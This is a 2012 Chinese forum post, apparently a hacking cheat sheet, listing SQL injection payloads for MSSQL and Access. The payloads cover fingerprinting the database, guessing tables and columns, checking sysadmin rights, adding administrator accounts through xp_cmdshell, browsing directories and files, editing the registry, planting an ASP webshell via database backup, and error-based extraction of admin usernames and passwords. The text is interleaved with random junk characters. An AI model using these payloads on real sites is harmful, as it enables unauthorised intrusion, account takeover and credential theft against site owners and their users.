找回密码
 立即注册
查看: 2917|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 ' `- z6 X- o7 |8 z; \3 C
;and 1=1 ! b/ A$ V. Y( L7 G
;and 1=2
! N& i" e$ W2 v2 I) n* R1 B) k1 I; I  h* S$ k
2.初步判断是否是mssql
$ g/ r; K$ o1 G( r6 D$ F;and user>0
+ l* C( T5 l4 ^% Y" p/ Q
4 ?: M6 @, N( {- G1 o6 c2 E/ W/ k3.判断数据库系统
: M* E1 {: ]5 q9 {9 Q! h  s;and (select count(*) from sysobjects)>0 mssql ) i! P; r2 [& [
;and (select count(*) from msysobjects)>0 access ' G; M& m( j  l1 ]: l9 o9 n
) F& \0 v: W, z3 U" ^
4.注入参数是字符 ' `: u9 E5 f( @2 W
'and [查询条件] and ''='
0 ]# e+ Q. ~2 m" {- k  a* {4 |" h5 e/ E
5.搜索时没过滤参数的 " F% h8 [/ w; `3 Z7 N
'and [查询条件] and '%25'=' ; H; G1 ^( C  r! h4 J, M: K

3 X- {, ^2 {: g& ]6.猜数表名 3 \, _8 \( {7 }& r) f
;and (select Count(*) from [表名])>0
& c. u, y0 ^& \6 X$ Q
" ^% ]& L3 S$ k7 S* L7 N+ \8 z7.猜字段
2 d7 F0 G" T2 Z# b: ~. b4 \4 _;and (select Count(字段名) from 表名)>0 * D. {" A4 ~  f- R5 F$ W; `# O" D
$ L  b$ A/ e6 @4 Q" s
8.猜字段中记录长度
* q2 ~1 S: ^2 I& [+ M0 O;and (select top 1 len(字段名) from 表名)>0 . E& h; x& Z& D! k- Q" Q, n

. d- a/ E: X! D$ l; i# X1 d' {" i9.(1)猜字段的ascii值(access)
9 f" x' l0 D! U- i* ?% r8 k;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
+ q/ R4 |% \+ l8 L+ n* V7 J% M8 C! k; d0 O  ]  |
(2)猜字段的ascii值(mssql) # P( v, Y  A9 Q2 Q  Z5 i
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
3 o0 ~' c, ?9 k5 Y
1 E: J6 Y" A9 P  N10.测试权限结构(mssql)
  ^" @( H! V+ N$ [, z5 S! I;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0 }1 t- O% [0 r2 ~: ^6 U% ]" v1 s2 ?
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
$ B6 J9 B7 c: _' c" q6 i;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
9 L$ E& B4 R2 ^3 j9 ^/ a1 w;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
( O; D+ F/ ~# f;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ; q# |* j$ D3 b- {( O7 z: J- ?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
& A2 w( N3 D1 }! _1 o;and 1=(select IS_MEMBER('db_owner'));-- - ]" L6 W5 ^/ S, U, ]

( m7 W! w# s( ^5 V" q0 @- c/ k- U6 V11.添加mssql和系统的帐户 * I8 k. Q/ |9 V. _5 ?. |8 n9 F3 _
;exec master.dbo.sp_addlogin username;--
* @" `+ ^$ x. _- ^; R, Q: u;exec master.dbo.sp_password null,username,password;--
- `/ n. V& L; Y# D3 \  W" X3 b( Q;exec master.dbo.sp_addsrvrolemember sysadmin username;--
% x, v7 n5 R% s) l$ F/ z6 X3 S1 i;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- , w( `$ g7 Z. x+ B3 `0 U
;exec master.dbo.xp_cmdshell 'net user username password /add';-- " e- C7 z6 x. \. }, A
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- $ v4 ~6 o" s9 F2 y. U" M
* k+ u" L% j/ H( \! I; q  \
12.(1)遍历目录
- x8 M7 B/ {$ `% c: C5 T, x& W( w8 w;create table dirs(paths varchar(100), id int)
" D  X& I1 e6 a;insert dirs exec master.dbo.xp_dirtree 'c:\'
+ X$ Q# }9 l9 Q! N) T9 D8 l, x. o;and (select top 1 paths from dirs)>0
$ w) C% A; B0 Y;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
& T  g$ L. a1 N( K0 C6 F. O0 d! a1 o. Q* ?
(2)遍历目录 0 t8 L! d! o) Y4 o3 v
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ; u: m! l) V' r- }$ a. R
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
& P6 m$ X+ {( ?2 P1 J8 V+ s;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
% @2 C/ w+ u3 x5 R4 t6 U;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 8 t5 w5 o* s' x1 ]* ^; D
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ; L& [+ Q. N" T% i7 D) R* F

8 \6 l& S& ]- g13.mssql中的存储过程 5 m( I& m+ `3 R7 f
xp_regenumvalues 注册表根键, 子键 ) C( S2 t" Q  z2 R, }
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 # x1 G( I. t1 W( v! S6 v
xp_regread 根键,子键,键值名 - K- e; g& ^' v
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
7 ?0 _" F# j) {: Vxp_regwrite 根键,子键, 值名, 值类型, 值 1 f% j( F3 I' W# N* f! B" p3 ?% N
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
4 Q; V" P+ t5 k4 e+ M;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
% O) ]  V9 M, Y9 Lxp_regdeletevalue 根键,子键,值名 " p) a! [7 ^4 o0 I  u1 B7 Y
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 0 Q& o! l$ w; n( Y& d0 |! i* j
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
) a7 T* t0 y6 E9 [3 @* l0 {" A2 u! y1 ]
14.mssql的backup创建webshell 7 F" V( F5 ]- C( W+ P
use model
" Z& p$ w1 }$ X6 \create table cmd(str image); ) Y  e; Q- O3 c  K% t
insert into cmd(str) values ('<% Dim oScript %>'); 7 B2 J3 S! K, s
backup database model to disk='c:\l.asp';
; K4 e/ ]; y& A; E1 h$ [7 d' x$ P+ A  U
15.mssql内置函数
8 |9 h: U' ]2 Y+ t& l+ v" U;and (select @@version)>0 获得Windows的版本号
5 Z5 a' M0 I5 P0 H6 [9 V- b0 H;and user_name()='dbo' 判断当前系统的连接用户是不是sa : Z/ d- R  H( o8 \4 C2 C
;and (select user_name())>0 爆当前系统的连接用户   A3 k! \4 R5 u) K2 q. A* G0 \
;and (select db_name())>0 得到当前连接的数据库
  n. o" t# \4 K( k) f+ x- _) q0 J9 j. T$ L* ~! f/ e  R' }

! b+ f* `$ Q. T* t$ r: i) f$ e) _9 t; f2 [# f9 h' X
MSSQL手注暴库
, |1 A9 f" l; a6 c4 h
7 E5 o% g7 P7 u4 S1.暴出当前表名和列名
) c1 v1 [% ]& |" M! ]在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
, w' q- i7 a; V5 m; d* V: ^! g( O% r) ^: a. h$ S* V* ?
第一.爆出所有数据库名
, q2 `8 n+ W8 I' j, Z利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。- a& g8 M9 u- U- k: M7 o$ n& e
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。6 A& [: X( E! C# \

- z$ j' J8 q% w5 m! nand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名& c8 s( `* N& {9 f
" n8 n- _: }- i4 b! \9 a9 l8 Z

% {% x7 w* |+ d1 L; @  t! r第二.爆出指定库中的所有表名. W8 }/ k1 Z; n; T9 s/ W5 v
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
# l6 }! O& v1 Z- n0 R- T再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
$ l5 W  x6 ~% c' ^( r/ M
; N" K0 A/ s, o" ^% ^9 _& G/ B/ t$ cand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--5 ]; U( i8 q, j; ?
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
; W: S$ E) N) C$ w' fand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
+ s6 v! O' \! r  t; G
& A$ `$ C  k7 E' i) r! t4 y4.爆出指定表中的所有列名
# T$ Q9 v0 P( c( l2 band 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
2 T6 e/ m4 e/ q3 S/ c! O//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'2 F- H  W( c( c: ]6 R+ y7 J
* ?5 H" u0 c7 V8 m* l7 a# f
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名) l8 Q" Q: n: l' a- k) f& f( L% Y* Q& ?1 a

6 K" F1 G) h3 M. E* m% d( |3 A6 k再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
0 b, d* `3 f3 E5 d/ B& g% E! k! O依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
% g1 [  ~8 t- S$ U6 E. ^6 b2 P- n" R$ f' B, h

8 w2 S. P. J3 R6 D  v, ?and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值8 X$ u' U0 o" C, N+ Y
& d3 m0 C5 U: a* Z' i$ ]7 `: {5 M
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名+ \* ]2 W; ^* b6 |' t; [* b9 O* K: D
& Q2 C' C3 `4 W/ ~# K& L, b
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ! z2 g/ |( W* E
" c$ D. p% H: t5 X% ]

) U' G! j8 r7 @! ~& n( J" V  o# m! T
5.读取指定表中的数据; f1 F: C/ j( F

2 p7 o% f/ \5 h3 |* X% S- \. |and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
2 s! i; X2 B0 i1 j: e4 B7 U7 _
7 r! b0 v0 x) y# B# R1 fand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
' p  s8 N! G# _" Y3 ^5 p
. O3 N0 V$ |/ i% z- [7 uand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码1 a+ K5 \9 z& Y% F7 p2 k
1 Y3 G8 m' C) I7 W& `
! o' [, c0 L2 q! F6 ?. ~5 i8 c
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)( {1 f7 F9 S8 R2 x6 G8 E4 r7 {
4 a' w) H4 X6 f. C5 ~- X
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)3 R: a0 Z+ a( k' V  }* m
) k$ l9 j$ g/ P- P
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
7 {: z' F( `5 m' P$ {
+ Z5 J3 g8 ]4 c( j知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。( M( R4 N+ }, G9 |* \9 v) G7 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表